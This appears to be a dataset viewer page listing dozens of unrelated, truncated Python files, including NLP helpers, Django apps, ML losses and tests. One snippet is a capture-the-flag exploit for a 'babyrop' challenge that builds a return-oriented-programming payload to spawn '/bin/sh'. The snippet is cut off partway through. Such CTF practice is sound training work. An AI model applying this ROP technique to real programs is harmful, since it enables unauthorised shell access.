content stringlengths 5 1.05M |
|---|
import sys
import logging
module_logger = logging.getLogger('hypercane.report.entities')
def get_document_entities(urim, cache_storage, entity_types):
import spacy
from nltk.corpus import stopwords
from hypercane.utils import get_boilerplate_free_content
module_logger.debug("starting entity extracti... |
"""Utility functions for working with text."""
from __future__ import division, unicode_literals
import re
_BASE62_CHARS = \
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
_SPLIT_RE = re.compile(r'\s*,+\s*')
def base62_encode(value):
"""Return a base62-encoded string representing a numer... |
import torch
from torch import nn
import torchvision
class GeneratorLoss(nn.Module):
def __init__(self):
super(GeneratorLoss, self).__init__()
vgg = torchvision.models.vgg16(pretrained=True)
self.vgg_network = nn.Sequential(*vgg.features).eval()
self.mse_loss = nn.MSELoss... |
"""
mbed SDK
Copyright (c) 2019 ARM Limited
SPDX-License-Identifier: Apache-2.0
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless req... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time-stamp: <2017-01-06 17:03:39 Friday by wls81>
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time-stamp: <2013-09-06 00:43:23 Friday by zhangguhua>
# @version 1.0
# @author your name
import os
import tushare as ts
import cPickle as pickle
# 数据存储路径
data_path = os... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
import shutil
import unittest
import tempfile
from io import open
from ufoLib import UFOReader, UFOWriter, UFOLibError
from ufoLib.glifLib import GlifLibError
from ufoLib.plistlib import readPlist, writePlist
from ufoLib.test.testSupport import f... |
import numpy as np
import pandas as pd
from sklearn.model_selection import cross_val_score
from sklearn.preprocessing import MinMaxScaler, MaxAbsScaler, StandardScaler, Normalizer
from sklearn.feature_selection import VarianceThreshold, SelectKBest, RFE
from sklearn.model_selection import cross_val_score
from xgboost ... |
# -*- coding: utf-8 -*-
class ConnectOauthOptionsCopy(object):
"""Implementation of the 'ConnectOAuthOptions - Copy' model.
oauthOptions for oauthEnabled institutions
Attributes:
enabled (bool): Indicates if OAuth institutions should be enabled for
the session
au... |
params = {
'axes.labelsize': 12,
'font.size': 12,
'savefig.dpi': 1000,
'axes.spines.right': False,
'axes.spines.top': False,
'legend.fontsize': 12,
'xtick.labelsize': 12,
'ytick.labelsize': 12,
'text.usetex': False,
'legend.labelspacing': 1,
'legend.borderpad': 0.5,
'lege... |
from __future__ import print_function
import logging
from compas_fab.backends.vrep.helpers import DEFAULT_OP_MODE
from compas_fab.backends.interfaces.client import ClientInterface
from compas_fab.backends.vrep import VrepError
from compas_fab.backends.vrep.helpers import assert_robot
from compas_fab.backends.vrep.hel... |
"""
=== SODI container objects prototype ===
version 1
All data is stored as text in json format. Helper functions and classes are
provided in this module together with usage documentation.
See also func calling demo at the end of this file.
*** Compatible with dbdict (dict with items accessible via attributes)
>>>... |
from __future__ import annotations
from spark_auto_mapper_fhir.fhir_types.uri import FhirUri
from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode
from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType
# This file is auto-generated by generate_classes so do not edi... |
"""
Name : c15_16_GJR_GARCH_funciton.py
Book : Python for Finance (2nd ed.)
Publisher: Packt Publishing Ltd.
Author : Yuxing Yan
Date : 6/6/2017
email : yany@canisius.edu
paulyxy@hotmail.com
"""
def GJR_GARCH(ret):
import numpy as np
import scipy.optimize as op
s... |
# -*- coding: utf-8 -*-
import base64
import pytest
from splash.har.utils import get_response_body_bytes
def get_har_response(text, encoding):
har_response = {
"status": 200,
"statusText": "OK",
"httpVersion": "HTTP/1.1",
"cookies": [],
"headers": [],
"content": {... |
import os
import logging
import json
def readMetadataFolderForImgConvert(folder, pos_subfolder):
logging.debug('readMetadataFolder(): %s, %s' % (folder, pos_subfolder))
path = os.path.join(folder, pos_subfolder, 'metadata.txt')
if not os.path.exists(path):
logging.info('readMetadataFolder(): metadata.txt not foun... |
class Solution(object):
def longestPalindromeSubseq(self, s):
"""
:type s: str
:rtype: int
"""
if len(s) <= 1:
return len(s)
lpn = [[0] * len(s) for i in range(len(s))]
for i in range(len(s) - 1, -1, -1):
for j in range(i, len(s)):
... |
# Copyright 2012 Viewfinder Inc. All Rights Reserved.
"""Parses the cities1000.txt geonames database and uses google maps
API to lookup locality, administrative_area_level_1 and country using
the latitude and longitude listed with each city.
Datafile sourced from: http://download.geonames.org/.
The contents of each ... |
from sys import stdin
from collections import deque
def main():
n = int(stdin.readline().strip())
gval_line = [0 for i in range(n)]
gval = [gval_line[:] for i in range(n)]
grid = []
queue = deque([])
for i in range(n):
grid.append(input().strip())
coords = [int(i) for i in input()... |
# Copyright 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You
# may not use this file except in compliance with the License. A copy of
# the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "license" file accompa... |
from django.shortcuts import render
from django.http import HttpResponse
from .models import Image, ImageCategory, ImageLocation
from django.core.exceptions import ObjectDoesNotExist
# Create your views here.
def index(request):
images = Image.objects.all()
categories = ImageCategory.objects.all()
locatio... |
# Generated by Django 3.1.2 on 2020-10-04 05:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('hello', '0002_auto_20201004_0330'),
]
operations = [
migrations.CreateModel(
name='Dataset',
fields=[
... |
import sqlite3
import json
import os
import pandas as pd
import re
conn = sqlite3.connect('happiness.db')
c = conn.cursor()
#Create Countries table
c.execute("""CREATE TABLE countries (id INTEGER PRIMARY KEY AUTOINCREMENT,country varchar, images_file text, image_url text, alpha2 text, alpha3 text,
co... |
__copyright__ = "Copyright (c) 2020 Jina AI Limited. All rights reserved."
__license__ = "Apache-2.0"
# lift the chunk-level topk to doc-level topk
import numpy as np
from . import BaseExecutableDriver
from .helper import pb_obj2dict
if False:
from ..proto import jina_pb2
class BaseRankDriver(BaseExecutableDri... |
# BOJ 2887 행성 터널
import sys
sys.stdin = open('../input.txt', 'r')
si = sys.stdin.readline
def get_parent(parents, a):
if parents[a] == a:
return a
parents[a] = get_parent(parents, parents[a])
return parents[a]
def find_parent(parents, a, b):
return get_parent(parents, a) == get_parent(paren... |
def walk(directions):
pass
def use(object):
pass
|
class GlobalSensitivity(object):
def __init__(self, value):
super().__init__()
self.value = value
@property
def value(self):
return self.__value
@value.setter
def value(self, value):
self.__value = value
|
from output.models.saxon_data.cta.cta0024_xsd.cta0024 import (
Doc,
Event,
When,
)
__all__ = [
"Doc",
"Event",
"When",
]
|
# -*- coding: utf-8 -*- #
# Copyright 2020 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... |
import numpy as np
from . import itrainer
from .. import network
from typing import Callable, List, Tuple
class StochasticGradientDescent(itrainer.ITrainer):
@staticmethod
def numerical_gradient(f: Callable, x: np.array, delta: float = 1e-4) -> np.array:
grad = np.zeros_like(x)
it = np.nditer... |
#!/usr/bin/env python
# ........................................................................... #
#
# This script generates the documentation using Python docutils.
#
# It requires the following softwares to be installed and made available from
# the invocation path context:
#
# - Python (of course!)
# - the do... |
#!/usr/bin/env python
import rospy
from race.msg import drive_param
from std_msgs.msg import Float64
import numpy as np
def talker():
topic = 'floats'
pub = rospy.Publisher(topic, numpy_msg(Floats))
rospy.init_node('talker_node', anonymous=True)
r = rospy.Rate(10) # 10hz
rospy.loginfo("I will publ... |
import dataclasses
import json
import streamlit as st
from pydantic.json import pydantic_encoder
import streamlit_pydantic as sp
@dataclasses.dataclass
class ExampleModel:
some_number: int
some_boolean: bool
some_text: str = "default input"
data = sp.pydantic_form(key="my_form", model=ExampleModel)
if... |
#!/usr/bin/env python
# -*- coding: utf-8 -*
# Copyright: [CUP] - See LICENSE for details.
# Authors: Guannan Ma (@mythmgn),
"""
:description:
unittest for cup.services.executor
"""
import os
import sys
import time
_NOW_PATH = os.path.dirname(os.path.abspath(__file__)) + '/'
sys.path.insert(0, _NOW_PATH + '../')
... |
"""
USAGE:-
For FILE mode: python extract_timestamps.py -f <WAV_FILE_PATH> -a <AGGRESSIVENESS_LEVEL>
Ex: python extract_timestamps.py -f tts_modi_exp/resampled_16000/PM_Modi/PM_Modi_addresses_the_Nation_on_issues_relating_to_COVID19_PMO.wav
-a 1
-------------------------------------------------------------------... |
import os
from jumpscale import j
from .OauthInstance import OauthClient
JSConfigFactory = j.tools.configmanager.base_class_configs
class OauthFactory(JSConfigFactory):
def __init__(self):
self.__jslocation__ = "j.clients.oauth"
JSConfigFactory.__init__(self, OauthClient)
|
"""A helper module defining generated information about crate_universe dependencies"""
# This global should match the current release of `crate_unvierse`.
DEFAULT_URL_TEMPLATE = "https://github.com/bazelbuild/rules_rust/releases/download/crate_universe-13/crate_universe_resolver-{host_triple}{extension}"
# Note that ... |
from ptrlib import *
sock = Process("./babyrop")
elf = ELF("./babyrop")
#sock = Socket("problem.harekaze.com", 20001)
rop_pop_rdi = 0x00400683
rop_ret = 0x00400479
payload = b'A' * 0x18
payload += p64(rop_ret)
payload += p64(rop_pop_rdi)
payload += p64(elf.base() + 0x200000 + next(elf.find("/bin/sh\x00")))
payload +... |
class Solution:
def dfs(self, nums:list, cur_pos:int, pre_dict:dict):
n = len(nums)
if cur_pos == n - 1:
pre_dict[cur_pos] = True
return True
if nums[cur_pos] == 0:
pre_dict[cur_pos] = False
return False
if cur_pos + nums[cur_pos] >= ... |
import nltk
from flask import Flask, request
from flask_cors import cross_origin
from nltk.tokenize.treebank import TreebankWordTokenizer, TreebankWordDetokenizer
import spacy
from spacy.tokens import Doc
app = Flask(__name__)
nlp = spacy.load('en_core_web_lg')
@app.route("/tokenize", methods=["POST"])
@cross_ori... |
from lf3py.api.errors import UnsupportedMediaTypeError
from lf3py.api.request import Request
from lf3py.openapi.schema import embed
@embed.consume('application/json')
def json(request: Request):
if request.headers.get('Content-Type') != 'application/json':
raise UnsupportedMediaTypeError()
|
from telegram import Update
from telegram.ext import CallbackContext
from gym_bot_app.decorators import get_trainee_and_group
from gym_bot_app.commands import (Command,
SelectDaysCommand)
from gym_bot_app.models import Trainee, Group
class MyDaysCommand(Command):
"""Telegram gym... |
from pathlib import Path
def get_file_size(path_to_file):
return Path(path_to_file).stat().st_size
def get_allowed_sizes():
allowed = dict()
mb = 1
byte = 1048576
for i in range(12):
allowed.update({str(mb): byte})
mb += mb
byte += byte
return allowed
... |
#!/usr/bin/env python
import logging
import coloredlogs
import os
import sys
class Log(object):
def __init__(self,logger=None,level='DEBUG'):
if os.getenv("LOG_LEVEL"):
level = os.getenv("LOG_LEVEL")
level,logging_level = parse(level)
self.logger = logging.getLogger(logger)
LOG_FORMAT = "%(asctime)s %(lev... |
""" View handler definitions for Nine CMS """
__author__ = 'George Karakostas'
__copyright__ = 'Copyright 2015, George Karakostas'
__licence__ = 'BSD-3'
__email__ = 'gkarak@9-dev.com'
from django.shortcuts import render, redirect, get_object_or_404
from django.views.generic import View
from django.template import load... |
from src.block import DataBlock
class MessageModeA(object):
def __init__(self, metablock, valid_blocks, message_id):
self.__metadata_block = metablock
self.__valid_blocks = valid_blocks
self.__header_len = 5
self.__data_string = ""
self.__output = ""
self.__message_... |
import os
import threading
from time import time
from filebytecontent import FileByteContent
from mixslice import MixSlice
LOCK = threading.Lock()
class CacheEntry:
def __init__(self, path, content, mtime=None):
self.path = path
self.content = content
self.opens = 1 # number of concurr... |
#!/usr/bin/env pypy
from os import system as sh
N = [4, 10, 13, 20, 48, 100, 199, 297, 356, 477, 500, 892, 998, 1397, 1452, 1823, 1897, 1943, 2000, 1998]
D = [1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
for i, (n, d) in enumerate(zip(N, D), start=1):
print "(info) Generating 'sequence%s.in'..." %... |
import logging
from aiogram import types
from aiogram.dispatcher import FSMContext
from aiogram.dispatcher.filters import Command, Text
from aiogram.types import CallbackQuery, Message
from helpers.api import (create_register, ger_or_create_user, get_masters,
get_masters_dates, get_masters_hou... |
"""
Play RPS w/Bad Input
"""
p1 = None # can be invalid!
p2 = None # can be invalid!
"""
This is the same as the original RPS problem,
except that cannot expect the input to be valid.
While we *want* `r` or `p` or `s`, there is a possibility
that input can be anything like...
* `ROCK` (all caps)
* `R` (`r` but ... |
from google_auth import GoogleAuth
key_path = "secrets.json"
scopes = ["https://www.googleapis.com/auth/fitness.activity.read"]
google_auth = GoogleAuth(key_path, scopes)
print(google_auth.get_token())
|
""" DocStrings and Default values of Named Tuples
Default Docs for Named Tuples
""" |
#!/usr/bin/env python3
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
from decimal import Decimal
REGTEST_BIT_PREMINE = 2000
REGTEST_BPQ_PREMINE = 100
PREMINE_PUBKEYS = [
[
"100700000796a8f86cec8db8be05671641473f0464f0e142d177cfbbddf35464a14eefb4577310ac8... |
from django.contrib.auth.forms import AuthenticationForm
class LoginForm(AuthenticationForm):
pass |
name=input('Enter your name to costomize your personal Maths quiz decathlon:')
print(name,"""'s Maths quiz decathlon
Answer as many questions as possible to attain the maximum points""")
print('''USERS MANUAL
OPERATORS:
+ ==- ADDITION
- ==- SUBSTRACTION
x ==- MULTIPLICATION
/ ==- DIVISION''')
r... |
#!/usr/bin/env python3
from distutils.core import setup
from distutils.extension import Extension
from Cython import __version__
from Cython.Distutils import build_ext
#from Cython.Build import cythonize
import numpy as np
from LoLIM.utilities import GSL_include, GSL_library_dir
from Cython.Compiler.Options import g... |
from Ex0109 import moeda
p = float(input('Digite o preço: R$ '))
print(f'A metade de {(moeda.moeda(p))} é {(moeda.metade(p, True))}')
print(f'O dobro de {(moeda.moeda(p))} é {(moeda.dobro(p, True))}')
print(f'Aumentando em 10%, temos {(moeda.aumentar(p, 10, True))}')
print(f'Reduzindo em 13%, temos {(moeda.diminuir(p,... |
from __future__ import print_function
# pylint: disable=pointless-string-statement, line-too-long
import logging
import tempfile
import time
import traceback
from lockfile import FileLock, AlreadyLocked, LockTimeout
import arrow
from django.conf import settings
from django.utils.text import slugify
"""
Decorators ... |
from pypokerengine.api.game import setup_config, start_poker
from RanomPlayer import RandomPlayer
# Game general configuration
config = setup_config(max_round=10, initial_stack=100, small_blind_amount=5)
# Define AI players
config.register_player(name="p1", algorithm=RandomPlayer())
config.register_player(name="p2", ... |
#!/usr/bin/python3.6
# -*- coding: utf-8 -*-
# @Time : 2019-06-16 14:32
# @Author : Yongfei Liu
# @Email : liuyf3@shanghaitech.edu.cn
import torch
import torch.nn as nn
from maskrcnn_benchmark.config import cfg
import json
import numpy as np
class PhraseEmbeddingSent(torch.nn.Module):
def __init__(self, ... |
# %% Imports
import pandas
import bar_chart_race as bcr
from matplotlib import colors
# %% Load data from PHE API and transform it to the right format
df = pandas.read_csv('https://api.coronavirus.data.gov.uk/v2/data?areaType=nation&metric=cumVaccinationFirstDoseUptakeByPublishDatePercentage&metric=cumVaccinationSecon... |
# bot.py from https://realpython.com/how-to-make-a-discord-bot-python/
import os
import random
import discord
from dotenv import load_dotenv
load_dotenv()
TOKEN = os.getenv('DISCORD_TOKEN')
GUILD = os.getenv('DISCORD_GUILD')
client = discord.Client()
@client.event
async def on_ready():
for guild in client.guil... |
from typing import Dict, List
from github.PullRequest import PullRequest
from github.Repository import Repository
from ..config import LennyBotConfig
import requests
from github import Github
class GitHubService:
def __init__(self, config: LennyBotConfig):
self._config = config
self._token = sel... |
api_base = 'http://34.207.8.15:8080/api'
api_version = 'v1'
token = None
from samplify.resources import Publications
|
from .holding import HoldingAdminMessage # noqa: F401
from .lending import LendingAdminMessage # noqa: F401
|
from typing import Any, Type, TypeVar, cast
from ._from_native import from_native
from ._props import Props
from ._schema_facade import SchemaFacade
from ._schema_visitor import SchemaVisitor, SchemaVisitorReturnType
from ._version import version
from .representor import Representor
from .types import AnySchema, Gener... |
# -*- coding: utf-8 -*-
"""
A cokriging program for a points or blocks on a regular grid.
Created on Fri Dec 2 2016
"""
from __future__ import division, print_function, absolute_import
import json
from itertools import product
import time
from collections import namedtuple
import numpy as np
from scipy import linalg
i... |
"""add submission_id to PublishedAFA
Revision ID: 03257ae6000f
Revises: 4d66a8d6e11b
Create Date: 2017-10-26 09:57:31.577694
"""
# revision identifiers, used by Alembic.
revision = '03257ae6000f'
down_revision = '4d66a8d6e11b'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
d... |
from unipath import Path
from lino.api import dd, rt
from lino_xl.lib.mailbox.models import get_new_mail
def objects():
Mailbox = rt.models.django_mailbox.Mailbox
mp = rt.settings.SITE.cache_dir.child("media", "mailbox")
rt.settings.SITE.makedirs_if_missing(mp)
dd.logger.info("Mailbox path is %s", mp)
... |
__author__ = 'akoziol'
# Import the necessary modules
# OS is used for file/folder manipulations
import os
# Subprocess->call is used for making system calls
import subprocess
# Errno is used in the file creation command - I think it's similar to the $! variable in Perl
import errno
# Glob finds all the path names ma... |
from enum import IntEnum
from construct import (Struct, Int64ul, Int16ul, Int8ul, Padding, this, Bytes, PaddedString)
from ..utils.construct_utils import AutoEnum
from .defs import *
class CommandResponseMessage(MessagePayload):
"""!
@brief Response to indicate if command was processed successfully.
"""... |
import importlib
import os
import re
import sys
from cpt.packager import ConanMultiPackager
spec = importlib.util.spec_from_file_location('comm', 'scripts/common.py')
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
if __name__ == "__main__":
projname = os.getenv('CONAN_PACKAGE_NAME')
... |
import numpy as np
from time import process_time_ns as ns
def partition(v, b, e):
p = b
for i in range(b+1, e+1):
if v[i] <= v[b]:
p += 1
v[i], v[p] = v[p], v[i]
v[p], v[b] = v[b], v[p]
return p
def sort(v, b=0, e=None):
if e is None:
e = len(v) - 1
def ... |
# coding=utf-8
import os
import urllib.request
from flask import Flask, flash, request, redirect, jsonify
from flask import send_from_directory
from werkzeug.utils import secure_filename
import uuid
from cv_code import blur_image
from db_code import Database
# set host address, allow all ip address
HOST = '0.0.0.0'
... |
from .models import Model
__all__ = ["Model"]
|
import wxbot
wxbot.main_loop()
|
### $Id: admin.py,v 1.15 2017/12/04 08:16:37 muntaza Exp $
from django.contrib import admin
from umum.models import Provinsi, Kabupaten, LokasiBidang, SKPD, SUBSKPD, KodeBarang, HakTanah, SatuanBarang, KeadaanBarang, SKPenghapusan, MutasiBerkurang, JenisPemanfaatan, AsalUsul, Tahun, GolonganBarang, Tanah, KontrakTanah... |
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_user import UserManager
app = Flask(__name__, static_folder="static")
app.config.from_object("config")
db = SQLAlchemy(app)
# These imports need to come after the app is instantiated
from deplatformr.views import views, facebook_views, filecoi... |
#!/usr/bin/env python3
"""
Utils for the converter API
:author: Angelo Cutaia, Claudio Tancredi
:copyright: Copyright 2020, Angelo Cutaia, Claudio Tancredi
..
Copyright 2020 Angelo Cutaia
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with t... |
from distutils.core import setup
setup(
name='kmertools',
version='0.1.0',
author='Simone Longo',
author_email='s.longo@utah.edu',
packages=['kmertools'],
license='LICENSE.txt',
description='Tools for processing VCF files in parallel in addition to k-mer search and analysis',
long_descr... |
import cadquery as cq
from wing_utils import show
result = cq.Workplane("front").ellipse(2, 4).extrude(2).shell(-1.5)
show(result)
|
# Dasean Volk, dvolk@usc.edu
# ITP 115, Fall 2021
# # Section: Boba
# Assignment 4
# Description: a program that allows the user to enter an unknown amount of numbers. The
# user will signal that they are done entering numbers by entering -1. The program will
# determine the smallest number entered and largest number e... |
from itertools import permutations
import numpy as np
import pytest
import torch
from test_types import image_av_chunk # noqa
from mohou.encoder import ImageEncoder, VectorIdenticalEncoder
from mohou.encoding_rule import ElemCovMatchPostProcessor, EncodingRule
from mohou.types import AngleVector, RGBDImage, RGBImage... |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: config.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf impo... |
__author__ = 'Radoslaw Matusiak'
__copyright__ = 'Copyright (c) 2017 Radoslaw Matusiak'
__license__ = 'MIT'
__version__ = '0.1'
import clr
import imp
import os
import sys
import tempfile
MANAGED_HEAPS = [] # List of tupples (start_address, stop_address, details) describing managed heaps
def on_load(... |
class Ultimo(object):
""" Class for keeping info about latest available programs """
def __init__(self, url, tapa, nombre, nombre_programa, fecha, id, id_programa):
self.url = url
self.tapa = tapa
self.nombre = nombre
self.nombre_programa = nombre_programa
self.fecha = fe... |
import re
from enum import Enum
from typing import Dict
import libkol
from .request import Request
class QuestPage(Enum):
Current = 1
Completed = 2
Accomplishments = 3
Notes = 4
HoboCode = 5
MonsterManuel = 6
quests_completed_pattern = re.compile(
r"<b>([\w\s,\.\'\?!]+)<\/b>(?!<\/td>)<... |
# Import third-party modules
from vendor.Qt import QtWidgets
# Import local modules
import scriptsmenu
def _mari_main_window():
"""Get Mari main window.
Returns:
MriMainWindow: Mari's main window.
"""
for obj in QtWidgets.QApplication.topLevelWidgets():
if obj.metaObject().classNam... |
import copy
import gdspy
import numpy as np
from operator import add, sub
from recordclass import recordclass
import gds_tools as gtools
class GDStructure:
def __init__(self, structure, endpoints, endpoint_dims, endpoint_directions = None, method = None, args = {}):
"""Define class to store structures in... |
# AUTOGENERATED BY NBDEV! DO NOT EDIT!
__all__ = ["index", "modules", "custom_doc_links", "git_url"]
index = {"Preprocess": "00_preprocess.ipynb",
"get_freq": "01_tfidf.ipynb",
"form_matrix": "01_tfidf.ipynb",
"get_query_vec": "01_tfidf.ipynb",
"get_cos_sim": "01_tfidf.ipynb"}
mod... |
from django.db import models
class RawDialog(models.Model):
id = models.AutoField(primary_key=True)
content_text = models.CharField(blank=False, null=False, max_length=500)
create_date = models.DateTimeField(auto_now_add=True)
update_date = models.DateTimeField(auto_now=True)
class Meta:
... |
# Copyright 2008-2015 Nokia Solutions and Networks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... |
from django.apps import AppConfig as DjangoAppConfig
class AppConfig(DjangoAppConfig):
name = "unplugged.services.admin"
verbose_name = "Admin Service"
label = "services_admin"
def ready(self):
from .handler import AdminService # NOQA
|
import os,sys
import checker
import json
username = sys.argv[1]
# username = input()
account = checker.check(username)
json_string = json.dumps(account)
print(json_string)
try:
os.chdir(os.getcwd()+'/Python_Scripts/result/')
except:
pass
with open("userpresent.json","w") as f:
json.dump(account,f)
|
import threading, wx, os, wx.lib.agw.aui as aui
from sciapp import Source
def parse(cont):
ls = cont.split('\n')
workflow = {'title':ls[0], 'chapter':[]}
for line in ls[2:]:
line = line.strip()
if line.startswith('## '):
chapter = {'title':line[3:], 'section':[]}
workflow['chapter'].append(chapter)
elif... |
#!/usr/bin/env python3
from __future__ import print_function
import os
import struct
import sys
import collections
CFG_TYPE_STR = 0x01
CFG_TYPE_U8 = 0x02
CFG_TYPE_U32 = 0x03
def eprint(*args, **kwargs):
print(*args, file=sys.stderr, **kwargs)
def printStringSetting(name, value):
value_str = value.decode('... |
#
# @lc app=leetcode id=821 lang=python3
#
# [821] Shortest Distance to a Character
#
# https://leetcode.com/problems/shortest-distance-to-a-character/description/
#
# algorithms
# Easy (64.71%)
# Likes: 844
# Dislikes: 69
# Total Accepted: 54.4K
# Total Submissions: 83K
# Testcase Example: '"loveleetcode"\n"e"'... |
import argparse
import logging
from ccoin.p2p_network import BasePeer
logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("node_id", help='Id of the node in the given peers dict.')
... |
import sys
# True if we are running on Python 3.
PY3 = sys.version_info[0] == 3
PY26 = sys.version_info[0] == 2 and sys.version_info[1] == 6
if PY3:
from io import BytesIO as StringIO
from urllib.parse import urlparse
else:
from urlparse import urlparse # noqa
from cStringIO import StringIO # noqa
... |
import os
import io
import tensorflow as tf
from kymatio.scattering2d import Scattering2D
import torch
import numpy as np
import pytest
from kymatio.backend.fake_backend import backend as fake_backend
class TestScattering2DTensorflow:
def reorder_coefficients_from_interleaved(self, J, L):
# helper function... |
# Software License Agreement (BSD License)
#
# Copyright (c) 2020, Wenshan Wang, Yaoyu Hu, CMU
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.